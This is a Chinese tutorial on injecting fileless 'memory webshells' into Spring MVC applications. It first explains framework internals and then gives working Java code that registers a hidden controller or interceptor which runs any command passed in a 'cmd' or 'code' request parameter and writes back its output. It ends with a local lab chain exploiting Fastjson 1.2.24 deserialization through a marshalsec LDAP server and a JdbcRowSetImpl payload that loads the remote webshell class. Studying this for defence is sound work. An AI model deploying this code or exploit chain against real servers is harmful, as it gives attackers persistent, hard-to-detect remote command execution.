前言

之前学习了Tomcat的内存马,但是Spring也是比较常用的框架,所以大佬们重点研究了 SpringMVC,并实现了利用多种不同的技术手段,往内存中注入恶意 Webshell 代码的无文件攻击技术。

基础知识

具体可以过一下SpringMVC的开发,基于框架开发比较便捷和简单

Bean

bean是Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC 容器负责实例化、配置、组装和管理的对象。

在Spring的IoC容器中,我们把所有组件统称为JavaBean,即配置一个组件就是配置一个Bean。

通俗来讲:

  • bean 是对象
  • bean 被 IoC 容器管理
  • Spring 应用主要是由一个个的 bean 构成的

    ApplicationContext

    ApplicationContext是 spring 中较高级的容器。和 BeanFactory 类似,它可以加载配置文件中定义的 bean,将所有的 bean 集中在一起,当有请求的时候分配 bean。 另外,它增加了企业所需要的功能,比如,从属性文件从解析文本信息和将事件传递给所指定的监听器。
    ApplicationContext 接口继承了 BeanFactory 接口,并通过继承其他接口进一步扩展了基本容器的功能。
    02.Spring内存马 - 图1
    因此,org.springframework.context.ApplicationContext接口也代表了 IoC容器 ,它负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间(beans)的依赖。
    IoC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xml、Java注解或Java代码来表示。

    其他

    Root Context 和 Child Context

  • Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context

  • 所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean
  • 所有的Context在创建后,都会被作为一个属性添加到了 ServletContext 中

    ContextLoaderListener

    ContextLoaderListener 主要被用来初始化全局唯一的Root Context,即 Root WebApplicationContext。这个 Root WebApplicationContext 会和其他 Child Context 实例共享它的 IoC 容器,供其他 Child Context 获取并使用容器中的 bean
    02.Spring内存马 - 图2

    DispatcherServlet

    DispatcherServlet 的主要作用是处理传入的web请求,根据配置的 URL pattern,将请求分发给正确的 Controller 和 View。DispatcherServlet 初始化完成后,会创建一个普通的 Child Context 实例。
    从下面的继承关系图中可以发现: DispatcherServlet 从本质上来讲是一个 Servlet(扩展了 HttpServlet )。
    02.Spring内存马 - 图3

每个具体的 DispatcherServlet 创建的是一个 Child Context,代表一个独立的 IoC 容器;而 ContextLoaderListener 所创建的是一个 Root Context,代表全局唯一的一个公共 IoC 容器。
如果要访问和操作 bean ,一般要获得当前代码执行环境的IoC容器,代表者 ApplicationContext

Controller实现方式

要达到访问一个URL,访问到内存中的Webshell获得回显的效果,主要的方式如下:

  1. 在不使用注解和修改配置文件的情况下,使用纯 java 代码来获得当前代码运行时的上下文环境;
  2. 在不使用注解和修改配置文件的情况下,使用纯 java 代码在上下文环境中手动注册一个 controller;
  3. controller 中写入 Webshell 逻辑,达到和 Webshell 的 URL 进行交互回显的效果

    Controller技术实现

    获取上下文的环境

    大佬提供了4种方法:
    1. WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
    1. WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
    1. WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
    1. WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

    我都试了一下,spring-boot-starter-parent 2.4.3中只有第四种方法可以成功获得Context

02.Spring内存马 - 图4

手动注册Controller


处理 URL 映射相关的类都实现了 HandlerMapping 接口

  • Spring 2.5 开始到 Spring 3.1 之前一般使用org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping 映射器 ;
  • Spring 3.1 开始及以后一般开始使用新的org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping 映射器来支持@Contoller@RequestMapping注解。

02.Spring内存马 - 图5
当然,也有高版本依旧使用旧映射器的情况。因此正常程序的上下文中一般存在其中一种映射器的实例 bean。又因版本不同和较多的接口等原因,手工注册动态 controller 的方法不止一种。

方法一:registerMapping

在 spring 4.0 及以后,可以使用 registerMapping 直接注册 requestMapping ,这是最直接的一种方式。
相关示例代码和解释如下:

  1. // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
  2. RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
  3. // 2. 通过反射获得自定义 controller 中唯一的 Method 对象
  4. Method method = (Class.forName("com.example.demo.Test").getDeclaredMethods())[0];
  5. // 3. 定义访问 controller 的 URL 地址
  6. PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
  7. // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
  8. RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
  9. // 5. 在内存中动态注册 controller
  10. RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
  11. r.registerMapping(info, Class.forName("com.example.demo.Test").newInstance(), method);

这里只要让这些代码能够运行就行,我写到Controller里面的
02.Spring内存马 - 图6
com.example.demo.Test

  1. package com.example.demo;
  2. import javax.servlet.http.HttpServletRequest;
  3. import javax.servlet.http.HttpServletResponse;
  4. import java.io.IOException;
  5. public class Test {
  6. public void test(HttpServletRequest request, HttpServletResponse response) throws IOException {
  7. response.getWriter().write("ADD CONTROLLER");
  8. }
  9. }

效果
02.Spring内存马 - 图7

方法二:registerHandler

该方法接受 urlPath参数和 handler参数,可以在 this.getApplicationContext() 获得的上下文环境中寻找名字为 handler 参数值的 bean, 将 url 和 controller 实例 bean 注册到 handlerMap 中。

我没成功,怀疑是spring版本问题

  1. // 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
  2. context.getBeanFactory().registerSingleton("dynamicController", Class.forName("com.example.demo.Test").newInstance());
  3. // 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
  4. org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
  5. // 3. 反射获得 registerHandler Method
  6. java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
  7. m1.setAccessible(true);
  8. // 4. 将 dynamicController 和 URL 注册到 handlerMap 中
  9. m1.invoke(dh, "/favicon", "dynamicController");

方法三:detectHandlerMethods

该方法仅接受handler参数,同样可以在 this.getApplicationContext() 获得的上下文环境中寻找名字为 handler 参数值的 bean, 并注册 controller 的实例 bean。

仍然没成功

  1. context.getBeanFactory().registerSingleton("dynamicController", Class.forName("com.example.demo.Test").newInstance());
  2. org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
  3. java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
  4. m1.setAccessible(true);
  5. m1.invoke(requestMappingHandlerMapping, "dynamicController");

webshell

就注入一个恶意的controller,然后这个controller中url对应的函数是执行命令的即可,简单示例

主要是给路由和恶意方法绑定即可

  1. // com.example.demo.Test
  2. package com.example.demo;
  3. import javax.servlet.http.HttpServletRequest;
  4. import javax.servlet.http.HttpServletResponse;
  5. import java.io.*;
  6. public class Test {
  7. public void test(HttpServletRequest request, HttpServletResponse response) throws IOException {
  8. String cmd = request.getParameter("cmd");
  9. if(cmd != null){
  10. Process exec = Runtime.getRuntime().exec(cmd);
  11. InputStream inputStream = exec.getInputStream();
  12. DataInputStream dataInputStream = new DataInputStream(inputStream);
  13. String disr = dataInputStream.readLine();
  14. while ( disr != null ) {
  15. response.getWriter().write(disr);
  16. disr = dataInputStream.readLine();
  17. }
  18. }
  19. else {
  20. response.getWriter().write("ADD CONTROLLER");
  21. }
  22. }
  23. }
  24. // 注册Controller
  25. WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  26. // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
  27. RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
  28. // 2. 通过反射获得自定义 controller 中唯一的 Method 对象
  29. Method method = (Class.forName("com.example.demo.Test").getDeclaredMethods())[0];
  30. // 3. 定义访问 controller 的 URL 地址
  31. PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
  32. // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
  33. RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
  34. // 5. 在内存中动态注册 controller
  35. RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
  36. r.registerMapping(info, Class.forName("com.example.demo.Test").newInstance(), method);

02.Spring内存马 - 图8

注意事项

不同的映射处理器
如下面的配置,当有些老旧的项目中使用旧式注解映射器时,上下文环境中没有 RequestMappingHandlerMapping 实例的 bean,但会存在 DefaultAnnotationHandlerMapping 的实例 bean。

  1. <bean class="org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping" />
  2. <bean class="org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter" />

SpringBoot生命周期

上面过了一遍,感觉还是有点迷茫,可以调试一下spring的整个处理过程
一个请求到到应用层之前,需要经过那几个部分?是如何一步一步到到我们的Controller的?
编写一个正常的controller

  1. package com.example.demo;
  2. import org.springframework.web.bind.annotation.GetMapping;
  3. import org.springframework.web.bind.annotation.RequestMapping;
  4. import org.springframework.web.bind.annotation.RestController;
  5. @RestController
  6. @RequestMapping("/test")
  7. public class HelloController {
  8. @GetMapping("/hello")
  9. public static String hello() {
  10. return "123";
  11. }
  12. }

然后下断点,观察整个流程,查看堆栈信息

  1. hello:16, HelloController (com.example.demo)
  2. invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
  3. invoke:62, NativeMethodAccessorImpl (sun.reflect)
  4. invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
  5. invoke:498, Method (java.lang.reflect)
  6. doInvoke:197, InvocableHandlerMethod (org.springframework.web.method.support)
  7. invokeForRequest:141, InvocableHandlerMethod (org.springframework.web.method.support)
  8. invokeAndHandle:106, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation)
  9. invokeHandlerMethod:895, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
  10. handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
  11. handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)
  12. doDispatch:1064, DispatcherServlet (org.springframework.web.servlet) ⭐️
  13. doService:963, DispatcherServlet (org.springframework.web.servlet)
  14. processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
  15. doGet:898, FrameworkServlet (org.springframework.web.servlet)
  16. service:655, HttpServlet (javax.servlet.http)
  17. service:883, FrameworkServlet (org.springframework.web.servlet)
  18. service:764, HttpServlet (javax.servlet.http)
  19. internalDoFilter:228, ApplicationFilterChain (org.apache.catalina.core) 5
  20. doFilter:163, ApplicationFilterChain (org.apache.catalina.core)
  21. doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
  22. internalDoFilter:190, ApplicationFilterChain (org.apache.catalina.core) 4
  23. doFilter:163, ApplicationFilterChain (org.apache.catalina.core)
  24. doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
  25. doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
  26. internalDoFilter:190, ApplicationFilterChain (org.apache.catalina.core) 3
  27. doFilter:163, ApplicationFilterChain (org.apache.catalina.core)
  28. doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
  29. doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
  30. internalDoFilter:190, ApplicationFilterChain (org.apache.catalina.core) 2
  31. doFilter:163, ApplicationFilterChain (org.apache.catalina.core)
  32. doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
  33. doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
  34. internalDoFilter:190, ApplicationFilterChain (org.apache.catalina.core) 1
  35. doFilter:163, ApplicationFilterChain (org.apache.catalina.core)
  36. invoke:202, StandardWrapperValve (org.apache.catalina.core)
  37. invoke:97, StandardContextValve (org.apache.catalina.core)
  38. invoke:542, AuthenticatorBase (org.apache.catalina.authenticator)
  39. invoke:143, StandardHostValve (org.apache.catalina.core)
  40. invoke:92, ErrorReportValve (org.apache.catalina.valves)
  41. invoke:78, StandardEngineValve (org.apache.catalina.core)
  42. service:357, CoyoteAdapter (org.apache.catalina.connector)
  43. service:382, Http11Processor (org.apache.coyote.http11)
  44. process:65, AbstractProcessorLight (org.apache.coyote)
  45. process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote)
  46. doRun:1723, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
  47. run:49, SocketProcessorBase (org.apache.tomcat.util.net)
  48. runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
  49. run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
  50. run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
  51. run:748, Thread (java.lang)

可以看到通过多次的org.apache.catalina.core.ApplicationFilterChain#internalDoFilter过滤处理后,会进入到调度方法org.springframework.web.servlet.DispatcherServlet#doDispatch
在调度方法中重新下断点,分析调度过程,执行到getHandler方法,从注释也可以看出来,是用来确定当前请求的处理程序,跟进
02.Spring内存马 - 图9
可以看到是遍历this.handlerMappings 这个迭代器中的mappinggetHandler方法处理http中的request请求
通过requestMappingHandlerMapping这个bean获取到了handler,但是怎么获取到的呢?我们继续跟进getHandler
02.Spring内存马 - 图10
可以看到最后返回的是executionChain,也就是我们刚才的那个handler,这个变量是怎么得来的,继续跟getHandlerExecutionChain()
02.Spring内存马 - 图11
org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandlerExecutionChain中把所有拦截器都加入到chain中并返回
02.Spring内存马 - 图12


从上面的分析我们知道在哪加入拦截器了,然后在doDispatch()中继续向下分析,发现会调用applyPreHandler,字面意思翻译过来就是预处理
02.Spring内存马 - 图13
跟进,发现会执行每个拦截器的preHandle()方法
02.Spring内存马 - 图14
如果程序提前在调用的 Controller 上设置了 Aspect(切面),那么在正式调用 Controller 前实际上会先调用切面的代码,一定程度上也起到了 “拦截” 的效果。


总结一下,一个 request 发送到 spring 应用,大概会经过以下几个层面才会到达处理业务逻辑的 Controller 层:

  1. HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller

上面我们实现了controller的内存马,同理,拦截器Interceptor的内存马也是可以实现的,实现方法类似,都是需要先获得上下文,然后注册进去。

Interceptor实现

从上面的分析,也可以看出,我们想要的目的,就是实现一个恶意的拦截器,然后让拦截器执行preHandler方法,其中preHandler方法的内容就是我们的恶意代码

Interceptor 的拦截范围其实就是Controller方法,它实际上就相当于基于AOP的方法拦截。因为Interceptor只拦截Controller方法,所以要注意,返回ModelAndView后,后续对View的渲染就脱离了Interceptor的拦截范围。 一个Interceptor必须实现HandlerInterceptor接口(可以看上面的分析图,interceptor的类就是HandlerInterceptor),可以选择实现preHandle()postHandle()afterCompletion()方法。preHandle()是Controller方法调用前执行,postHandle()是Controller方法正常返回后执行,而afterCompletion()无论Controller方法是否抛异常都会执行,参数ex就是Controller方法抛出的异常(未抛出异常是null)。 在preHandle()中,也可以直接处理响应,然后返回false表示无需调用Controller方法继续处理了,通常在认证或者安全检查失败时直接返回错误响应。在postHandle()中,因为捕获了Controller方法返回的ModelAndView,所以可以继续往ModelAndView里添加一些通用数据,很多页面需要的全局数据如Copyright信息等都可以放到这里,无需在每个Controller方法中重复添加。

拦截器代码

实现一个拦截器

  1. package com.example.demo;
  2. import org.springframework.web.servlet.HandlerInterceptor;
  3. import javax.servlet.http.HttpServletRequest;
  4. import javax.servlet.http.HttpServletResponse;
  5. public class TestInterceptor implements HandlerInterceptor {
  6. @Override
  7. public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
  8. response.getWriter().write("Interceptor test");
  9. return false;
  10. }
  11. }

正常注册拦截器

可以通过implements WebMvcConfigurer,重写其addInterceptors(InterceptorRegistry registry)方法

  1. package com.example.demo;
  2. import org.springframework.context.annotation.Configuration;
  3. import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
  4. import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
  5. @Configuration
  6. public class InterceptorConfig implements WebMvcConfigurer {
  7. @Override
  8. public void addInterceptors(InterceptorRegistry registry) {
  9. registry.addInterceptor(new TestInterceptor()).addPathPatterns("/test/hello");
  10. }
  11. }

02.Spring内存马 - 图15

效果

02.Spring内存马 - 图16

恶意注册拦截器

上面分析也看出来了,想要添加拦截器,就只需要动态添加到this.adaptedInterceptors数组中即可
02.Spring内存马 - 图17
所以我们的第一步是要获取到这个数组,而这个数组是在org.springframework.web.servlet.handler.AbstractHandlerMapping中实现的,AbstractHandlerMapping又是抽象类,所以我们需要找到它的实现类
02.Spring内存马 - 图18
下字段断点也可以找到它的实现类
02.Spring内存马 - 图19
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping是一个不错的选择,可以通过context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");获取实例,然后再反射获取到adaptedInterceptors变量,最后添加恶意的拦截器即可

这里我尝试失败了,还是怀疑spring版本问题

02.Spring内存马 - 图20
所以利用代码

  1. import org.springframework.web.context.WebApplicationContext;
  2. import org.springframework.web.context.request.RequestContextHolder;
  3. import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
  4. import javax.servlet.http.HttpServletRequest;
  5. import javax.servlet.http.HttpServletResponse;
  6. public class TestInterceptor extends HandlerInterceptorAdapter {
  7. public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
  8. // 获取context
  9. WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  10. // 从context中获取AbstractHandlerMapping的实例对象
  11. org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
  12. // 反射获取adaptedInterceptors属性
  13. java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
  14. field.setAccessible(true);
  15. java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
  16. // 避免重复添加
  17. for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
  18. if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
  19. System.out.println("已经添加过TestInterceptor实例了");
  20. return;
  21. }
  22. }
  23. TestInterceptor aaa = new TestInterceptor("aaa"); // 避免进入实例创建的死循环
  24. adaptedInterceptors.add(aaa); // 添加全局interceptor
  25. }
  26. private TestInterceptor(String aaa){}
  27. @Override
  28. public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
  29. String code = request.getParameter("code");
  30. // 不干扰正常业务逻辑
  31. if (code != null) {
  32. java.lang.Runtime.getRuntime().exec(code);
  33. return true;
  34. }
  35. else {
  36. return true;
  37. }}}

应用场景

既然是通过执行 java 代码内存注入 webshell,那么一般需要通过 Spring 相关的代码执行漏洞才可以利用,例如较为常见的 Java 反序列漏洞、普通的 JSP 文件 Webshell 转换成无文件 Webshell等。

主要目的是在当前JVM的环境下执行代码即可

漏洞演示

以Fastjson 1.2.24 的反序列化漏洞为例吧,先配置好环境(JDK < 8u191)

  • pom.xml

    1. <dependency>
    2. <groupId>com.alibaba</groupId>
    3. <artifactId>fastjson</artifactId>
    4. <version>1.2.24</version>
    5. </dependency>
  • Controller

    1. package com.example.demo;
    2. import com.alibaba.fastjson.JSON;
    3. import com.alibaba.fastjson.JSONObject;
    4. import org.springframework.web.bind.annotation.PostMapping;
    5. import org.springframework.web.bind.annotation.RequestMapping;
    6. import org.springframework.web.bind.annotation.RestController;
    7. @RestController
    8. @RequestMapping("/test")
    9. public class HelloController {
    10. @PostMapping("/hello")
    11. public String hello(String json) {
    12. JSONObject jsonObject = JSON.parseObject(json);
    13. return jsonObject.toJSONString();
    14. }
    15. }

    02.Spring内存马 - 图21


  • 编写恶意的类

    1. import org.springframework.web.context.WebApplicationContext;
    2. import org.springframework.web.context.request.RequestContextHolder;
    3. import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
    4. import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
    5. import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
    6. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
    7. import javax.servlet.http.HttpServletRequest;
    8. import javax.servlet.http.HttpServletResponse;
    9. import java.io.*;
    10. import java.lang.reflect.Method;
    11. public class Test {
    12. public Test() throws ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException {
    13. WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    14. RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
    15. Method method = Test.class.getDeclaredMethod("test", HttpServletRequest.class, HttpServletResponse.class);
    16. PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
    17. RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
    18. RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
    19. r.registerMapping(info, new Test("aaa"), method);
    20. }
    21. private Test(String aa){
    22. // 不这样的话,上面22行会一直重复创建Test()对象,导致内存溢出
    23. }
    24. public void test(HttpServletRequest request, HttpServletResponse response) throws IOException {
    25. String cmd = request.getParameter("cmd");
    26. if(cmd != null){
    27. Process exec = Runtime.getRuntime().exec(cmd);
    28. InputStream inputStream = exec.getInputStream();
    29. DataInputStream dataInputStream = new DataInputStream(inputStream);
    30. String disr = dataInputStream.readLine();
    31. while ( disr != null ) {
    32. response.getWriter().write(disr);
    33. disr = dataInputStream.readLine();
    34. }
    35. }
    36. else {
    37. response.getWriter().write("ADD CONTROLLER");
    38. }
    39. }
    40. }
  • 编译成class文件

    缺少依赖问题比较简单的解决方法,就是直接用IDEA编译的class,然后移动到其他目录即可

02.Spring内存马 - 图22

  • 启动http服务

    1. python3 -m http.server 8000
  • 启动ldap服务

    1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Test 8088
  • 然后用fastjson payload打过去

    1. {
    2. "a":
    3. {
    4. "@type": "java.lang.Class",
    5. "val": "com.sun.rowset.JdbcRowSetImpl"
    6. },
    7. "b":
    8. {
    9. "@type": "com.sun.rowset.JdbcRowSetImpl",
    10. "dataSourceName": "ldap://127.0.0.1:8088/Test",
    11. "autoCommit": true
    12. }
    13. }
  • 效果

02.Spring内存马 - 图23
02.Spring内存马 - 图24

参考